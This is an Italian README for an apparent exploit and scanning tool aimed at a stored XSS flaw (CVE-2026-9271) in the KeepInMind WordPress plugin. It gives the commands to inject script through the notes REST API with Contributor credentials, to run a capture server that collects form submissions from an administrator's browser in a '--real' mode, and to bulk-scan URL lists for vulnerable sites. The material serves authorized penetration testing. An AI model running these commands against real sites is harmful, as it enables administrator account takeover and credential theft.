[!IMPORTANTE]
Uso autorizzato solo. Questo strumento è per ricerca sulla sicurezza, istruzione e test su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per usi impropri.
Indice
Panoramica
CVE-2026-9271 è un problema di cross-site scripting memorizzato (XSS) nel plugin WordPress KeepInMind (Note della dashboard). Una sanificazione insufficiente del contenuto delle note consente a un utente autenticato con privilegi bassi (Contributore+) di memorizzare HTML/JS che viene eseguito nel browser di un amministratore, il che può portare a compromissione della sessione amministrativa / presa di controllo dell'account.
KIM-Guardian Pro (CVE-2026-9271.py) è uno strumento di valutazione Python per tester autorizzati per:
- Rilevare installazioni di KeepInMind e intervalli di versione
- Eseguire una valutazione in modalità test sicura (marcatore di overlay, nessuna cattura di credenziali)
- Scansionare in blocco liste di URL per la presenza del plugin e versioni vulnerabili
- Persistere i risultati in SQLite e report di testo sotto
reports/
- Opzionalmente eseguire un server di cattura locale / UI web per simulazioni di laboratorio controllate
Dettagli della vulnerabilità
Superfici rilevanti
| Superficie | Ruolo |
|---|
/wp-json/keepinmind/v1/notes | API REST usata per creare/leggere note |
/wp-admin/ | Dashboard admin dove le note memorizzate possono essere renderizzate |
| Percorso plugin | /wp-content/plugins/keepinmind-dashboard-notes/ |
Flusso di valutazione (alto livello)
- Autenticarsi come utente Contributore+ (quando vengono fornite le credenziali)
- Confermare che KeepInMind sia installato e registrare le versioni WordPress / plugin
- Iniettare un payload di test tramite l'API REST delle note (predefinito)
- Verificare che il marcatore appaia dove vengono renderizzate le note
- Pulire le note iniettate (a meno che
--no-cleanup)
- Salvare i metadati della valutazione in SQLite e un report di testo
Funzionalità
Capacità principali
Controlli operativi
| Capacità | Descrizione |
|---|
| Logging verbose | Debug su file + console sotto logs/ |
| Supporto proxy | Instradare il traffico attraverso Burp o altri proxy HTTP |
| Timeout configurabile | Timeout per richiesta (predefinito 30s) |
Installazione
Prerequisiti
- Python 3.8+
pip
- Raggiungibilità di rete verso il/i target autorizzato/i
Configurazione
cd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Extra consigliati usati da questo script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
Dipendenze principali
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # opzionale — solo modalità web
Avvio rapido
Sostituisci https://lab.example con un target di laboratorio o autorizzato solo.
# Aiuto / modalità
python3 CVE-2026-9271.py --help
# Valutazione singolo target sicura (predefinito: payload di test)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore -p 'password' -v
# Scansione blocco versione / plugin
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# Elenca valutazioni recenti da SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Server di cattura locale (solo laboratorio)
python3 CVE-2026-9271.py capture --port 5000
# Interfaccia web opzionale
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Guida all'uso
1. Mostra aiuto
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
2. Valutazione sicura (consigliata)
La modalità predefinita usa un overlay di test non catturante. Fornisci credenziali Contributore+ per l'iniezione tramite API REST.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore \
-p 'password' \
-v
Flusso di lavoro:
- Stampa banner e crea un ID payload univoco
- Autentica (se forniti
-u / -p)
- Rileva le versioni KeepInMind + WordPress
- Inietta e verifica il marcatore di test sicuro
- Pulisce le note (a meno che
--no-cleanup)
- Persiste il risultato in DB +
reports/kim_assessment_*.txt
3. Salta pulizia
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore -p 'password' --no-cleanup
4. Proxy + timeout
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
5. Simulazione di attacco in laboratorio (solo ambienti autorizzati)
Richiede un URL base del server di cattura/attaccante e --real. È preferibile mantenere la cattura in localhost per i laboratori.
# Terminale 1 — listener di cattura
python3 CVE-2026-9271.py capture --port 5000
# Terminale 2 — valutazione con endpoint di cattura
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
Interfaccia di cattura (quando il server è in esecuzione):
| Percorso | Scopo |
|---|
/ | Pagina di stato del server di cattura |
/capture | Endpoint POST per invii di form |
/captured | Voci catturate recenti (revisione laboratorio) |
6. Scansione in blocco
# targets.txt — un URL per riga
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Oppure URL separati da virgola
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
I controlli in blocco tipicamente includono indizi WordPress, versione KeepInMind, raggiungibilità REST e presenza di wp-login.php.
7. Storico database
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
8. Interfaccia web
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Collega a localhost per impostazione predefinita per sicurezza.
Riferimento comandi
Globali
assess
bulk
capture
| Argomento | Predefinito | Descrizione |
|---|
--port | 5000 | Porta di ascolto |
web
| Argomento | Predefinito | Descrizione |
|---|
--host | 127.0.0.1 | Indirizzo di bind |
--port | 8080 | Porta di ascolto |
db
| Argomento | Predefinito | Descrizione |
|---|
--list | off | Elenca valutazioni recenti |
--limit | 10 | Numero massimo di righe da mostrare |
Output e reportistica
Console
Output colorato per autenticazione, rilevamento plugin, iniezione, verifica e pulizia.
Report di testo
Esecuzioni assess riuscite scrivono file come:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
SQLite
| File | Scopo |
|---|
kim_guardian.db | Storico valutazioni (target, versioni, flag vulnerabile, rischio, durata) |
Log
| Percorso | Scopo |
|---|
logs/kim_pro_*.log | Log applicativi per esecuzione |
Campi report blocco
- URL
- Versione WordPress
- Versione plugin
- Vulnerabile (sì/no per euristica versione)
- REST accessibile
- WP-Login raggiungibile
Risoluzione dei problemi
Flusso di debug
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
Struttura del repository
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Dipendenze Python
├── README.md # Questo file
├── kim_guardian.db # Storico valutazioni SQLite (generato)
├── logs/ # Log di runtime (generati)
├── reports/ # Report di testo valutazioni (generati)
└── venv/ # Virtualenv locale (opzionale)
Cronologia versioni
v1.0.0 — Versione iniziale
- Valutazione KeepInMind su singolo target per CVE-2026-9271
- Payload di test sicuro (predefinito) e simulazione cattura laboratorio opzionale
- Rilevamento versione plugin / WordPress
- Iniezione, verifica e pulizia note REST
- Scansione multi-thread in blocco
- Persistenza SQLite + report di testo
- Server di cattura e interfaccia web Flask opzionale
- Supporto proxy, timeout e logging verbose
Disclaimer
Questo progetto è fornito così com'è per ricerca sulla sicurezza difensiva e test di penetrazione autorizzati.
Usando questo software accetti che:
- Prenderai di mira solo sistemi di tua proprietà o per i quali hai esplicita autorizzazione.
- Comprendi le leggi applicabili sull'abuso informatico e la protezione dei dati.
- L'autore e i collaboratori non sono responsabili per danni, perdita di dati o conseguenze legali derivanti da un uso improprio.
Se trovi questo problema in sistemi di produzione che non possiedi, segui la divulgazione responsabile con il proprietario del sito e il manutentore del plugin.
L'accesso non autorizzato a sistemi informatici è illegale.
Autore e crediti
Licenza
Solo uso educativo / difensivo
Copyright (c) 2026 Sudeepa Wanigarathna
Il permesso è concesso di utilizzare questo software per ricerca sulla sicurezza autorizzata,
istruzione e valutazione difensiva solo.
IL SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O
IMPLICITA, INCLUSE MA NON LIMITATE ALLE GARANZIE DI COMMERCIABILITÀ,
IDONEITÀ PER UNO SCOPO PARTICOLARE E NON VIOLAZIONE.
Solo per test di sicurezza autorizzati.